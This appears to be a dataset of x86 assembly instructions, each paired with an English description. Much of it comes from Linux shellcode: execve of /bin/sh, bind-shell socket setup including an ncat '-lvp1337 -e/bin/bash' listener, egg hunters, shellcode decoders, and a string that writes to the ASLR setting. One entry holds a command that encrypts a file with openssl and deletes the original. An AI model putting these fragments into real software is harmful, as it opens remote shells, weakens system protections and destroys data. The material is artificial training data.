| mov ebp, esp move esp into ebp
|
| mov ebp, esp point ebp to the esp register
|
| mov ebp, esp point ebp to top of stack
|
| mov ebp, esp set the new base pointer
|
| mov ebx, [ebp-4] move the contents at the memory location specified by the result of the operation [ebp-4] into the ebx register
|
| mov ebx, [ebp-4] move the contents of the address [ebp-4] into the ebx register
|
| mov ebx, [ebp-8] move the contents at the memory location specified by the result of the operation [ebp-8] into the ebx register
|
| mov ebx, [ebp-8] move the contents of the address [ebp-8] into the ebx register
|
| mov ebx, [ebx+esi] move the contents of memory address ebx+esi into ebx
|
| mov ebx, [esp] move value at top of the stack to ebx
|
| mov ebx, [my_table] move effective address of my_table in ebx
|
| mov ebx, [my_table] save the effective address of my_table in ebx
|
| mov ebx, [temp2] move the contents at memory address temp2 to ebx
|
| mov ebx, [x] move the contents at memory address x to ebx
|
| mov ebx, [y] move the contents at memory address y to ebx
|
| mov ebx, 0 exit with return code of 0
|
| mov ebx, 0 return 0 status on exit
|
| mov ebx, 0 return a code of zero
|
| mov ebx, 0 specify file descriptor 0 as standard input
|
| mov ebx, 0 use stdin
|
| mov ebx, 0 write to the stdin file
|
| mov ebx, 0x1 move 0x1 into ebx
|
| mov ebx, 0x2 move 0x2 into ebx
|
| mov ebx, 0x4 move 0x4 into ebx
|
| mov ebx, 0x40000 move the 32-bit value 0x40000 into register ebx
|
| mov ebx, 0x5 move 0x5 into ebx
|
| mov ebx, 0xfee1dead loading 0xfee1dead in ebx
|
| mov ebx, 0xfee1dead move the value 0xfee1dead into the ebx register
|
| mov ebx, 1 file descriptor 1 standard output
|
| mov ebx, 1 invoke subroutine socket
|
| mov ebx, 1 move 1 into ebx
|
| mov ebx, 1 specify file descriptor 1 standard output
|
| mov ebx, 1 use stdout
|
| mov ebx, 1 write to the stdout file
|
| mov ebx, 10 move decimal value 10 into ebx
|
| mov ebx, 2 invoke subroutine bind
|
| mov ebx, 2 specify file descriptor 2 standard error
|
| mov ebx, 3 invoke subroutine connect
|
| mov ebx, 3 move 3 to the ebx register
|
| mov ebx, 3 move decimal number 3 into ebx
|
| mov ebx, 4 invoke subroutine listen
|
| mov ebx, 5 invoke subroutine accept
|
| mov ebx, 5 move 5 into ebx
|
| mov ebx, 9 move number 9 into ebx
|
| mov ebx, buff move buff to ebx
|
| mov ebx, command move command into ebx
|
| mov ebx, dword 0x5090508f save egg signature altered: 0x50905090 Ð 1 into ebx
|
| mov ebx, dword 0x5090508f move dword 0x5090508f into ebx
|
| mov ebx, dword 0x50905091 move dword 0x50905091 into ebx
|
| mov ebx, dword 0x50905091 \n dec ebx load hexadecimal value 0x50905091 as a double word into ebx register then decrement its content by 1
|
| mov ebx, eax move eax contents to ebx register
|
| mov ebx, eax transfer eax content into ebx
|
| mov ebx, eax copy eax into ebx register
|
| mov ebx, eax copy eax content into ebx register
|
| mov ebx, eax move eax content into ebx register
|
| mov ebx, eax store sock_file_des in ebx register
|
| mov ebx, eax move client fd to ebx
|
| mov ebx, eax zero out ebx
|
| mov ebx, eax move the address in eax into ebx
|
| mov ebx, eax move the contents of the eax register into the ebx register
|
| mov ebx, eax move eax into ebx
|
| mov ebx, ecx copy ecx content into ebxx register
|
| mov ebx, ecx copy ecx content into ebx
|
| mov ebx, ecx move ecx into ebx
|
| mov ebx, ecx backup ecx into ebx
|
| mov ebx, edi copy edi content into ebx register
|
| mov ebx, edi move edi into ebx
|
| mov ebx, edx set ebx =1
|
| mov ebx, edx move the client socket fd from edx into ebx
|
| mov ebx, edx save edx content into ebx
|
| mov ebx, edx move edx into ebx
|
| mov ebx, esi save the saved socket descpritor in ebx
|
| mov ebx, esi save the esi contenmts in ebx register
|
| mov ebx, esi store address of /usr/bin/ncat into ebx register
|
| mov ebx, esi copy esi content into ebx register
|
| mov ebx, esi load arg1 = Ô/bin/shÕ into ebx register
|
| mov ebx, esi save esi content into ebx
|
| mov ebx, esi move esi into ebx
|
| mov ebx, esp push /bin/sh into ebx
|
| mov ebx, esp load the stack pointer into ebx register
|
| mov ebx, esp load the strinf //bin/sh in ebx register
|
| mov ebx, esp save addr of stack into ebx
|
| mov ebx, esp ebx = /bin//sh
|
| mov ebx, esp load the pointer to args into ebx register
|
| mov ebx, esp ebx points the top pf the stack
|
| mov ebx, esp load stack pointer into ebx register
|
| mov ebx, esp loast stcak pointer into ebx register
|
| mov ebx, esp point ebx to stack
|
| mov ebx, esp push esp pointer to ebx
|
| mov ebx, esp ebx points to the memory struct
|
| mov ebx, esp store esp pointer in ebx
|
| mov ebx, esp trasnfer esp content to ebx
|
| mov ebx, esp "put the address of ""/bin//sh"" into ebx via esp"
|
| mov ebx, esp load esp content into ebx
|
| mov ebx, esp ebx points to the top of the stack
|
| mov ebx, esp trasfer stack pointer into ebx register
|
| mov ebx, esp ebx points the top of the stack
|
| mov ebx, esp ebx point to pushed string
|
| mov ebx, esp move stack ptr to ebx
|
| mov ebx, esp "moving the pointer to ""/bin//sh"" to ebx"
|
| mov ebx, esp moving the pointer to the string Ô/bin//cnÕ to ebx
|
| mov ebx, esp moves the memory address of esp(pointing to our string & nulls) from the stack into ebx
|
| mov ebx, esp save esp content into ebx
|
| mov ebx, esp save esp content into ebx register
|
| mov ebx, esp "save the arg ""/bin//sh/"" into ebx"
|
| mov ebx, esp ebx point to the structure
|
| mov ebx, esp save esp content into ebx regsiter
|
| mov ebx, esp load address of /bin/sh into ebx
|
| mov ebx, esp move the address of the character on the stack into ebx
|
| mov ebx, esp move the contents of the esp register into the ebx register
|
| mov ebx, esp move esp into ebx
|
| mov ebx, esp move address of stack pointer into ebx
|
| mov ebx, filename move filename into ebx
|
| mov ebx, m_src1 move m_src1 to ebx
|
| mov ebx, m_src2 move m_src2 to ebx
|
| mov ebx, msg move the address of msg string into ebx
|
| mov ebx, n move n to ebx
|
| mov ebx, name move name into ebx
|
| mov ebx, request move address of request variable into ebx
|
| mov ebx, sock_reg move sock_reg into ebx
|
| mov ebx, type var3 move the number of bytes of var3 into ebx
|
| mov ebx, upcase move the value of upcase into ebx
|
| mov ebx, x move the contents of x into ebx
|
| mov ebx, zero_reg move zero_reg into ebx
|
| mov ebx,eax copy eax content into ebx register
|
| mov ebx,eax load eax content into ebx
|
| mov ebx,eax load eax content into ebx register
|
| mov ebx,eax save the returned value of the previous sys call (fd) into ebx, 2nd arg
|
| mov ebx,eax \n push eax move eax register to ebx register then push eax on the register
|
| mov ebx,eax \n push ebx trasfer aex contents into ebx contents and push ebx on the stack
|
| mov ebx,esi copy socket file descriptor from esi to ebx to feed clientid
|
| mov ebx,esi copy the esi content into ebx register
|
| mov ebx,esi load esi content into ebx register
|
| mov ebx,esi save esi content into ebx
|
| mov ebx,esp load esp content into ebx register
|
| mov ebx,esp save addr of stack into ebx
|
| mov ebx,esp copy esp content into ebx register
|
| mov ebx,esp ebx points to memory struct
|
| mov ebx,esp point ebx to stack
|
| mov ebx,esp load stack pointer into ebx register
|
| mov ebx,esp set first arg in ebx=*filename
|
| mov ebx,esp set the 1st arg /bin/bash from the stack
|
| mov ebx,esp save pointer into ebx
|
| mov ecx ,esp move esp content into ecx register
|
| mov ecx, [ebp+12] move the contents at the memory location specified by the result of the operation [ebp+12] into the ecx register
|
| mov ecx, [ebp+12] move the contents of the address [ebp+12] into ecx
|
| mov ecx, [esi+4*eax] move the 4 bytes of data at address esi+4*eax into ecx
|
| mov ecx, [esp] move the contents of esp into ecx
|
| mov ecx, [esp] move the contents of the esp register into the ecx register
|
| mov ecx, [my_table] move effective address of my_table in ecx
|
| mov ecx, [temp3] move the contents at memory address temp3 to ecx
|
| mov ecx, [x] move the contents at memory address x to ecx
|
| mov ecx, 0777 move permissions to read write and execute into ecx
|
| mov ecx, 0x0 move 0x0 into ecx
|
| mov ecx, 0x04030382 mov ip address in ecx
|
| mov ecx, 0x1 move 0x1 into ecx
|
| mov ecx, 0x88998899 move 0x88998899 into ecx
|
| mov ecx, 0x88998899 \n sub ecx, 0x1525152a \n push ecx push ÔostsÕ on stack
|
| mov ecx, 1 move 1 into ecx
|
| mov ecx, 36 get 36 in the ecx
|
| mov ecx, 4294948047 move 4294948047 into ecx
|
| mov ecx, 672274793 loading 0x1234567 in ecx
|
| mov ecx, 672274793 move the value 672274793 into the ecx register
|
| mov ecx, arguments move the address of the arguments into ecx
|
| mov ecx, array move the first element of array into ecx
|
| mov ecx, array2 move the first element in array2 into ecx
|
| mov ecx, b move b to ecx
|
| mov ecx, buff move buff to ecx
|
| mov ecx, buffer move the memory address of buffer variable into ecx
|
| mov ecx, contents move the memory address of contents string into ecx
|
| mov ecx, contents move the memory address of contents variable into ecx
|
| mov ecx, donemsg move donemsg into ecx
|
| mov ecx, eatmsg move eatmsg into ecx
|
| mov ecx, eax move eax into ecx
|
| mov ecx, ebp copy epb content into ecx register
|
| mov ecx, ebp move ebp into ecx
|
| mov ecx, ebp copy the value of ebp to ecx
|
| mov ecx, ebx \n mov ebx, eax copy ebx content into ecx and eax content into ebx
|
| mov ecx, edi move edi into ecx
|
| mov ecx, edi \n xor edx, edx load edi content into ecx register then clear edx
|
| mov ecx, edx put 0 in ecx
|
| mov ecx, edx set counter ecx = 2
|
| mov ecx, edx save edx content into ecx
|
| mov ecx, edx initialize counter, ecx, to 2
|
| mov ecx, edx move edx into ecx
|
| mov ecx, edx move the contents of the edx register into the ecx register
|
| mov ecx, edx backup edx into ecx
|
| mov ecx, esi move esi into ecx
|
| mov ecx, esp transfer esp contents into ecx
|
| mov ecx, esp trasnfer esp contents into ecx register
|
| mov ecx, esp trasfer esp contents to ecx register
|
| mov ecx, esp ecx points to the top of the stack
|
| mov ecx, esp load the stack pointer in ecx register
|
| mov ecx, esp load the stack pointer in ecx regsiter
|
| mov ecx, esp load esp content in ecx
|
| mov ecx, esp load the stack pointer into ecx register
|
| mov ecx, esp load esp content into ecx register
|
| mov ecx, esp save addr of stack into ecx
|
| mov ecx, esp load stack pointer into ecx register
|
| mov ecx, esp load esp content into ecx
|
| mov ecx, esp pointer to args on the stack into ecx
|
| mov ecx, esp load on ecx the pointer to the arguments n the stack into ecx
|
| mov ecx, esp load the pointer to v4lhist struct arguments in ecx register
|
| mov ecx, esp copy in ecx the argument pointer
|
| mov ecx, esp load the pointer to struct into ecx register
|
| mov ecx, esp load the arguments previously pushed on stack into register ecx
|
| mov ecx, esp load the pointer to args into ecx register
|
| mov ecx, esp move the pointer to args into ecx register
|
| mov ecx, esp move stack pointer to ecx
|
| mov ecx, esp copy esp content into ecx register
|
| mov ecx, esp copy esp content in ecx register
|
| mov ecx, esp save address od the top of the stack into ecx
|
| mov ecx, esp save the argument array into ecx register
|
| mov ecx, esp store argv array into ecx via the stack or esp
|
| mov ecx, esp save pointer to ecx
|
| mov ecx, esp trasnfer esp content to ecx register
|
| mov ecx, esp move address of the opernads into ecx
|
| mov ecx, esp set the args
|
| mov ecx, esp move stack ptr into ecx
|
| mov ecx, esp move stack ptr to ecx
|
| mov ecx, esp mv final stack ptr to ecx
|
| mov ecx, esp mv new stack ptr to ecx
|
| mov ecx, esp move satck pointer to ecx
|
| mov ecx, esp save esp content into ecx
|
| mov ecx, esp ecx point the top of the stack
|
| mov ecx, esp save the pointer to args in ecx register
|
| mov ecx, esp pointer to struct
|
| mov ecx, esp save the pointer to args in ecx
|
| mov ecx, esp move the memory location of args to ecx
|
| mov ecx, esp pushes the memory location of args into ecx
|
| mov ecx, esp move memory location of the args to ecx
|
| mov ecx, esp save the new socket fd into ecx
|
| mov ecx, esp move the memory location of the args list into ecx
|
| mov ecx, esp move the memeory location of the args to ecx
|
| mov ecx, esp moves the address of the string from the stack to ecx
|
| mov ecx, esp save esp content into ecx register
|
| mov ecx, esp load address of the parameter array into ecx
|
| mov ecx, esp ecx point to the structur
|
| mov ecx, esp load address of the parameter array
|
| mov ecx, esp load address of the parameter array intp ecx
|
| mov ecx, esp load array address into ecx
|
| mov ecx, esp ecx point to the structure
|
| mov ecx, esp move esp into ecx
|
| mov ecx, esp move the contents of the esp register into the ecx register
|
| mov ecx, esp ecx point to the top of the stack
|
| mov ecx, esp move the address of the stack pointer into ecx
|
| mov ecx, esp move the contents of esp into ecx
|
| mov ecx, esp move address of arguments into ecx
|
| mov ecx, esp save the memory location of arg[0] into the ecx register
|
| mov ecx, esp move address of stack pointer into ecx
|
| mov ecx, esp point ecx to the top of the stack
|
| mov ecx, esp \n mov edx, esp copy esp content into ecx and edx registers
|
| mov ecx, filecontents move the memory address of our file contents variable into ecx
|
| mov ecx, hello put the offset of hello in ecx
|
| mov ecx, hexstr move hexstr into ecx
|
| mov ecx, m_src3 move m_src3 to ecx
|
| mov ecx, msg move msg to ecx
|
| mov ecx, msg move the address of message string into ecx
|
| mov ecx, msg move the memory address of message string into ecx
|
| mov ecx, offset array move starting address of array to ecx
|
| mov ecx, readbuffer move readbuffer into ecx
|
| mov ecx, request move address of request variable into ecx
|
| mov ecx, response move address of response variable into ecx
|
| mov ecx, rm move rm to ecx
|
| mov ecx, rn move rn to ecx
|
| mov ecx, type var2 move the number of bytes of var2 into ecx
|
| mov ecx, y move the contents of y into ecx
|
| mov ecx,eax \n push ecx transfer eax content into ecx register then push ecx register on the stcak
|
| mov ecx,edi load edi content into ecx register
|
| mov ecx,esp transfer esp contents into ecx contents
|
| mov ecx,esp move espaddress to ecx
|
| mov ecx,esp get stack pointer to ecx
|
| mov ecx,esp move esp contents to ecx
|
| mov ecx,esp load the stack pointer into ecx register
|
| mov ecx,esp load the satck ppointer into ecx register
|
| mov ecx,esp load esp content into ecx register
|
| mov ecx,esp move stack pointer into ecx
|
| mov ecx,esp save addr of stack into ecx
|
| mov ecx,esp save the pointer to socket args into ecx register
|
| mov ecx,esp load the pointer to struct into ecx register
|
| mov ecx,esp tranfer the pointer to args from esp into ecx register
|
| mov ecx,esp save pointer (esp) to socket() args (ecx)
|
| mov ecx,esp load pointer to struct sockaddr into ecx register
|
| mov ecx,esp load into ecx the pointer to args stored in esp
|
| mov ecx,esp load the pointer to args into ecx regsiter
|
| mov ecx,esp make ecx pointing to args
|
| mov ecx,esp save stack pointer into ecx register
|
| mov ecx,esp load the pointer to the struct into ecx regsiter
|
| mov ecx,esp load stack pointer into ecx regisetr
|
| mov ecx,esp load stack pointer into ecx register
|
| mov ecx,esp move stack pointer to ecx
|
| mov ecx,esp save in ecx the pointer to socket arguements
|
| mov ecx,esp point ecx to stack
|
| mov ecx,esp copy esp content into ecx register
|
| mov ecx,esp save esp content into ecx register
|
| mov ecx,esp ecx points to the arguments adress
|
| mov ecx,esp save pointer into ecx
|
| mov ecx,esp ecx point to the top of he stack
|
| mov ecx,esp save esp content into ecx regoster
|
| mov ecx,esp \n mov ecx,esp \n mov ebx,esp transfer esp content into ecx two times and in ebx
|
| mov edi, [ebp+16] move value the contents of memory address ebp+16 into edi
|
| mov edi, 0x343997b7 move 0x343997b7 into edi
|
| mov edi, 0x3734b117 move 0x3734b117 into edi
|
| mov edi, 0x6e69622f push /bin in edi
|
| mov edi, 0x978cd092 move 0x978cd092 into edi
|
| mov edi, 0x978cd092 \n mov ebx, edi load hexadecimal value 0x978cd092 into edi and ebx registers
|
| mov edi, 0x978cd0d0 move 0x978cd0d0 into edi
|
| mov edi, 0x978cd0d0 \n mov esi, 0x91969dd0 \n not edi \n not esi \n push edi \n push esi push Ô/bin//sh on stackÕ
|
| mov edi, 0xaaaa9090 move 0xaaaa9090 to edi
|
| mov edi, 0xada67373 trtasfer the hexadecimal value 0xada67373 into edi register
|
| mov edi, 0xada67373 move 0xada67373 into edi
|
| mov edi, 876189623 move 876189623 into edi
|
| mov edi, 884021143 move 884021143 into edi
|
| mov edi, eax copy eax content into edi register
|
| mov edi, eax move eax into edi
|
| mov edi, eax move the return value of sys_socketcall into edi
|
| mov edi, ecx move ecx to edi for scasd operation
|
| mov edi, ecx move ecx content to edi register
|
| mov edi, ecx copy ecx content in edi register
|
| mov edi, ecx move ecx to edi
|
| mov edi, ecx move ecx into edi
|
| mov edi, edx move edx into edi
|
| mov edi, edx move the remainder into edi
|
| mov edi, esi copy esi content into esi register
|
| mov edi, esi move encoded_shellcode pointer to edi
|
| mov edi, esi move esi into edi
|
| mov edi, esi move the pointer to the shellcode into edi
|
| mov edi, esp load esp content in edi register
|
| mov edi, esp save addr of stack into edi
|
| mov edi, esp edi points to the top of the stack
|
| mov edi, esp moving the pointer to the string Ô-le//bin//shÕ to edi
|
| mov edi, esp move esp into edi
|
| mov edi, hexstr place hexstr into edi
|
| mov edi,0x3734b117 move hexadecimal value 0x3734b117 into edi content
|
| mov edi,0x6e69622f load the string /bin into edi register
|
| mov edi,0x79844040 \n sub edi,0x11111111 load the string //sh into edi register
|
| mov edi,ecx load the current address from ecx to edi
|
| mov edi,esp load esp content into edi register
|
| mov edi,esp point edi to stack
|
| mov edi,esp save in edi the -c value
|
| mov edx, [esi+4*ebx] move the 4 bytes of data at address esi+4*ebx into edx
|
| mov edx, [esp] saves stage address to edx
|
| mov edx, [esp] move the contents of the esp register into the edx register
|
| mov edx, [temp4] move the contents at memory address temp4 to edx
|
| mov edx, [z] move the contents at memory address z to edx
|
| mov edx, 0x1234567 loading the cmd argument: linux_reboot_cmd_restart in edx
|
| mov edx, 0x1234567 move the value 0x1234567 into the edx register
|
| mov edx, 1 move 1 into edx
|
| mov edx, 11 move integer 11 to edx
|
| mov edx, 12 move 12 to edx
|
| mov edx, 13 move 13 into edx
|
| mov edx, 2 move decimal 2 into edx
|
| mov edx, 255 move decimal number 255 into edx
|
| mov edx, 3 move 3 decimal into edx
|
| mov edx, 43 move 43 decimal into edx
|
| mov edx, 43 move decimal 43 into edx
|
| mov edx, 66729180 move 66729180 into edx
|
| mov edx, 78 move decimal 78 into edx
|
| mov edx, 78 store 78 decimal into edx
|
| mov edx, 8 move 8 decimal into edx
|
| mov edx, 8 put 8 into edx
|
| mov edx, 9 move number 9 into edx
|
| mov edx, buff move buff to edx
|
| mov edx, bufflen move bufflen into edx
|
| mov edx, donelen move donelen into edx
|
| mov edx, dword 0x65676760 save ÔeggÕ into edx register
|
| mov edx, dword 0x65676760 move dword 0x65676760 into edx
|
| mov edx, dword 0x65676760 move the doubleword 0x65676760 into edx
|
| mov edx, eatlen move eatlen into edx
|
| mov edx, eax copy eax content into edx
|
| mov edx, eax copy eax into edx
|
| mov edx, eax save the fd from the socket
|
| mov edx, eax save the socket fd contained into eax in edx
|
| mov edx, eax move eax into edx
|
| mov edx, eax backup eax into edx
|
| mov edx, ebp move ebp into edx
|
| mov edx, ecx set zero to edx
|
| mov edx, ecx move ecx into edx
|
| mov edx, ecx move ecx to edx
|
| mov edx, egg_sig set edx = 0x4f904790edx = 0x4f904790
|
| mov edx, environment move the address of environment variable into edx
|
| mov edx, esi move esi into edx
|
| mov edx, esp load the stack pointer on edx regsiter
|
| mov edx, esp save addr of stack into edx
|
| mov edx, esp get a pointer to the null value saving it in edx register
|
| mov edx, esp load stack pointer into edx register
|
| mov edx, esp save esp content into edx
|
| mov edx, esp moving 0 to edx
|
| mov edx, esp gets the memory address of the nulls onto the stack into edx
|
| mov edx, esp move esp into edx
|
| mov edx, esp move the contents of the esp register into the edx register
|
| mov edx, esp move address of stack pointer into edx
|
| mov edx, esp point edx to the stack pointer
|
| mov edx, esp move the stack pointer into edx
|
| mov edx, filename move filename into edx
|
| mov edx, hellolen move hellolen into edx
|
| mov edx, hexlen move hexlen into edx
|
| mov edx, len move variable len to edx
|
| mov edx, m_src4 move m_src4 to edx
|
| mov edx, n move n to edx
|
| mov edx, readbuffer move readbuffer into edx
|
| mov edx, readlen move readlen into edx
|
| mov edx, response move address of response variable into edx
|
| mov edx, src move the contents of src variable into edx
|
| mov edx, tmp move the contents of tmp variable into edx
|
| mov edx, type var1 move the number of bytes of var1 into edx
|
| mov edx,0x4f904790 copy the hexadecimal value of Ò.g.oÓ into ed register
|
| mov edx,eax copy eax content into edx register
|
| mov edx,esp load the stack pointer into edx register
|
| mov edx,esp load esp cpntent into edx register
|
| mov edx,esp move stack pointer into edx
|
| mov edx,esp load esp content into edx register
|
| mov esi , esp load the stack pointer into esi register
|
| mov esi, [ebp+12] move the contents of memory address ebp+12 into esi
|
| mov esi, 0x222933f0 move 0x222933f0 into esi
|
| mov esi, 0x243525f0 move 0x243525f0 into esi
|
| mov esi, 0x34399797 move 0x34399797 into esi
|
| mov esi, 0x353ffc3b transfer hexadecimal value 0x353ffc3b into esi regsiter
|
| mov esi, 0x353ffc3b move 0x353ffc3b into esi
|
| mov esi, 0x563a1f3e move 0x563a1f3e into esi
|
| mov esi, 0x65636170 move 0x65636170 into esi
|
| mov esi, 0x65636170 \n push esi \n xor esi, esi \n mov esi, 0x735f6176 \n push esi \n xor esi, esi \n push dword 0x5f657a69 \n push dword 0x6d6f646e \n push dword 0x61722f6c \n push dword 0x656e7265 \n push dword 0x6b2f7379 \n push dword 0x732f636f \n mov esi, 0x72702f2f \n push esi \n xor esi, esi \n mov ebx,esp push the string //proc/sys/kernel/randomize_va_space on the stack and then load the stack pointer on ebx register
|
| mov esi, 0x68732f2f push //sh in esi
|
| mov esi, 0x68732f2f move 0x68732f2f into esi
|
| mov esi, 0x72702f2f move 0x72702f2f into esi
|
| mov esi, 0x735f6176 move 0x735f6176 into esi
|
| mov esi, 0x91969dd0 move 0x91969dd0 into esi
|
| mov esi, 0xd2c45e5e move 0xd2c45e5e into esi
|
| mov esi, 10 move 10 into esi
|
| mov esi, 9 move 9 into esi
|
| mov esi, buff place address buff into esi
|
| mov esi, eax save returned file descriptor from eax into esi
|
| mov esi, eax save eax contents in esi contents
|
| mov esi, eax save socket file descriptor from eax into esi
|
| mov esi, eax transfer eax content into esi register
|
| mov esi, eax transfer fd for next call from eax into esi register
|
| mov esi, eax copy eax content in esi register
|
| mov esi, eax copy eax to esi content
|
| mov esi, eax store sockfd in esi register
|
| mov esi, eax store socket descriptor into esi register
|
| mov esi, eax save eax content into esi
|
| mov esi, eax save the newly created socket from eax to esi
|
| mov esi, eax move pointer in eax into esi
|
| mov esi, eax move eax into esi
|
| mov esi, eax \n xor eax, eax copy socket des from eax to esi register then clear eax
|
| mov esi, ecx copy ecx into esi register
|
| mov esi, ecx move ecx into esi
|
| mov esi, edx move remainder into esi
|
| mov esi, esp load in esi the pointer to Ô-fÕ argument
|
| mov esi, esp load esp contents on esi register
|
| mov esi, esp load the the stack pointer in esi register
|
| mov esi, esp load esp content in esi regsister
|
| mov esi, esp save addr of stack into esi
|
| mov esi, esp save the name of the file into esi register
|
| mov esi, esp moving the pointer to Ô-vp13337Õto esi
|
| mov esi, esp save esp content into esi register
|
| mov esi, esp move esp into esi
|
| mov esi, v move v to esi
|
| mov esi, v_src move v_src to esi
|
| mov esi, var copy the address of var into esi
|
| mov esi,0x34399797 move hexadecimal value 0x34399797 into esi content
|
| mov esi,eax move the socket file descriptor from eax to esi
|
| mov esi,eax saves socket descriptor from eax into esi regsiter
|
| mov esi,eax save the socket descriptor stored in eax in esi
|
| mov esp, ebp move the contents of the ebp register ino the esp register
|
| mov esp, ebp move the contents of the ebp register into the esp register
|
| mov esp,0x1cd9faf7 copy 0x1cd9faf7 into esp content
|
| mov long [esi+18], esi move the contents of the esi register into the long starting at the address [esi+18]
|
| mov long [esi+22], ebx move the contents of the ebx register into the long starting at the address [esi+22]
|
| mov long [esi+22], esi move the contents of the esi register into the long starting at the address [esi+22]
|
| mov long [esi+26], eax move the contents of the eax register into the long starting at the address [esi+26]
|
| mov long [esi+26], ebx move the contents of the ebx register into the long starting at the address [esi+26]
|
| mov long [esi+30], eax move the contents of the eax register into the long starting at the address [esi+30]
|
| mov rcx, 0x68732f2f6e69622f move the immediate value /bin//sh in hex in rcx
|
| mov sock_reg, eax move eax into sock_reg
|
| mov total, 48 transfer the value 48 in the memory variable total
|
| mov word [ebx], 2 move the 16-bit integer representation of 2 into the 2 bytes starting at the address in ebx
|
| mov word [ecx], 2 move the 16-bit integer representation of 2 into the 2 bytes starting at address ecx
|
| mov word [edi], ax move ax into the word in edi
|
| mov word [esp+0x1], 0x776f move 0x776f into the word in [esp+0x1]
|
| mov word ptr [edi-0x69622f69],ss copy ss content into the word at the adress edi-0x69622f69
|
| mov x, eax move eax to x variable
|
| mov[esi+13], al null terminate /usr/bin/ncat
|
| mov[esi+22], al null terminate -lvp1337
|
| mov[esi+34], al null terminate -e/bin/bash
|
| mov[esi+35], esi store address of /usr/bin/ncat in aaaa
|
| mov[esi+39], ebx store address of -lvp1337 in bbbb taken from ebx
|
| mov[esi+43], ebx store address of -e/bin/bash in cccc taken from ebx
|
| mov[esi+47], eax zero out dddd
|
| move ecx, edx backup edx into ecx
|
| movq mm0, qword [edi] move the 64 bit of edi into mm0 64bit register
|
| movq mm0, qword [edi] "move 8bytes of ""xor_value"" to mm0"
|
| movq mm1, qword [esi] move the 64 bit of esi into mm1 64bit register
|
| movq mm1, qword [esi] "move 8bytes of ""shellcode"" to mm1"
|
| movq mm2, qword [edi] "move 8bytes of ""rot_value"" to mm2"
|
| movq mm3, qword [esi] "move 8bytes of ""shellcode"" to mm3"
|
| movq qword [esi], mm0 transfer the 64 bit of mm0 register to the 64bit register esi
|
| movq qword [esi], mm0 "overwrite the ""shellcode"" with previous results"
|
| movq qword [esi], mm3 "overwrite the ""shellcode"" with previous results"
|
| mp short call_decoder perform a short unconditional jump to call_decoder
|
| msg db 'curl http:
|
| msg db 'hello, world!', 0xa declare msg string containing 'hello world!'
|
| msg db 'i love you!', 0ah define msg variable and initialize with 'i love you!'
|
| msg db 'mv test.txt .test.txt && head -c 32 /dev/urandom | base64 | openssl aes-256-cbc -e -in .test.txt -out test.txt -pbkdf2 -k - && rm .test.txt', 0x0a define msg as the byte string 'mv test.txt .test.txt && head -c 32 /dev/urandom | base64 | openssl aes-256-cbc -e -in .test.txt -out test.txt -pbkdf2 -k - && rm .test.txt'
|
| msg db 'we found the egg!', 0ah, 0dh define msg as the byte string 'we found the egg!'
|
| msg_len equ $-msg define msg_len equal to the length of msg
|
| msg1 db 'hello, brave new world!', 0ah declare message string msg1 containing 'hello brave new world!'
|
| msg2 db 'passwd', 0x00 define msg2 as the byte string 'passwd'
|
| msg2 db 'this is how we recycle in nasm.', 0ah declare message string msg2 containing 'this is how we recycle in nasm'
|
| msglength: equ 12 declare msglength to have the constant value 12
|
| mul [tmp] multiply the contents of eax by the 32-bit contents of the memory location tmp
|
| mul [value] multiply the contents of eax by the 32-bit contents of the memory location value
|
| mul [var] multiply the contents of eax by the 32-bit contents of the memory location var
|
| mul 0x10 multiply eax by 0x10 and stores the result in edx:eax
|
| mul 25 multiply the contents of eax by 25
|
| mul 3 multiply the contents of eax by 3
|
| mul ebx xoring eax and edx
|
| mul ebx zero out eax register
|
| mul ebx clear eax
|
| mul ebx multiply the contents of eax by ebx
|
| mul ebx multiply the contents of the eax register by the contents of the ebx register
|
| mul ebx multiply eax by ebx
|
| mul ebx multiply eax by the contents of the ebx register
|
| mul ebx mul eax by ebx
|
| mul ecx multiply by ecx, zero out eax and edx
|
| mul ecx mutliply eax by 0
|
| mul ecx clear eax
|
| mul ecx mul eax by ecx
|
| mul ecx multiply eax by the contents of the ecx register
|
| mul ecx mutliply eax by ecx
|
| mul ecx multiply eax by ecx
|
| mul edx multiply edx with eax saving the result in eax
|
| mul edx multiply eax by the contents of the edx register
|
| mul edx mul eax by edx
|
| mul edx multiply eax by edx
|
| my_table times 10 dw 0 allocate 10 words each initialized to 0
|
| my_table times 10 dw 0 allocate my_table vector of 10 words each initialized to 0
|
| my_var dw 0abcdh define my_var word variable and initialize it to 0abcdh
|
| myList word 1,2,3,4,5 define myList array of word and initialize it to 1, 2, 3, 4, and 5
|
| name db '/bin/sh', 0 define name as the byte string '/bin/sh'
|
| name db 30 dup allocate memory for 30 bytes uninitialized name variable
|
| neg eax negate eax
|
| neg eax negate the contents of eax
|
| neg eax replaces the contents of the eax register with its two's complement
|
| neg ebx replaces the contents of the ebx register with its two's complement
|
| neg ecx replaces the contents of the ecx register with its two's complement
|
| neg edi performs the two's complement negation of the edi contents.
|
| neg edi negate edi
|
| neg edi replaces the contents of the edi register with its two's complement
|
| neg edx replaces the contents of the edx register with its two's complement
|
| neg var negate the contents of var
|
| neg_number dw -12345 define the variable neg_number of words and initialize it to -12345
|
| negative: define negative label
|
| negative: \n not dl \n inc dl in the negative function negate dl and increment dl to the next byte
|
| next_addr: define next_aaddr label
|
| next_addr: define _next_addr label
|
| next_addr: define next_addr label
|
| next_addr: declare next_addr function
|
| next_addr: declare the next_addr label
|
| next_cycle: declare the next_cycle label
|
| next_cycle: define next_cycle label
|
| next_cycle: \n inc edi \n jmp short formatting in next_cycle increment edi by one and jump short to formatting
|
| next_page: define next_page label
|
| next_page: declare next_page function
|
| next: define _next label
|
| next: declare the next label
|
| nop no operation
|
| nop run no operation
|
| nop execute no operation
|
| nop do no operation
|
| nop do nothing
|
| not ax negate all the bits of ax register
|
| not ax negate all the bits of the ax register
|
| not byte [edi] one's complement negation of the byte edi in memory
|
| not byte [esi] one's complement negation of the byte esi in memory
|
| not byte [esi] perform a bit-wise inversion of the byte starting at the address in esi
|
| not byte [esi] not operation of current byte in esi
|
| not byte [tmp] negate all bits in the byte at the memory location tmp
|
| not byte [var] negate all bits in the byte at the memory location var
|
| not byte [var2] negate all bits in the byte at the memory location var2
|
| not byte ptr [esi] negate all bits in the byte contained into esi regsiter
|
| not dl negate all the bits of dl register
|
| not dword ptr [esi+0x73] negate all bits of th souble word stored at the adress esi+0x73
|
| not eax negate all the bits of the eax register
|
| not ecx negate all the bits of ecx register
|
| not ecx negate all the bits of the ecx register
|
| not edi negate all bits of edi register
|
| not edi negate all the bits of the edi register
|
| not edx perform a bit-wise inversion of edx
|
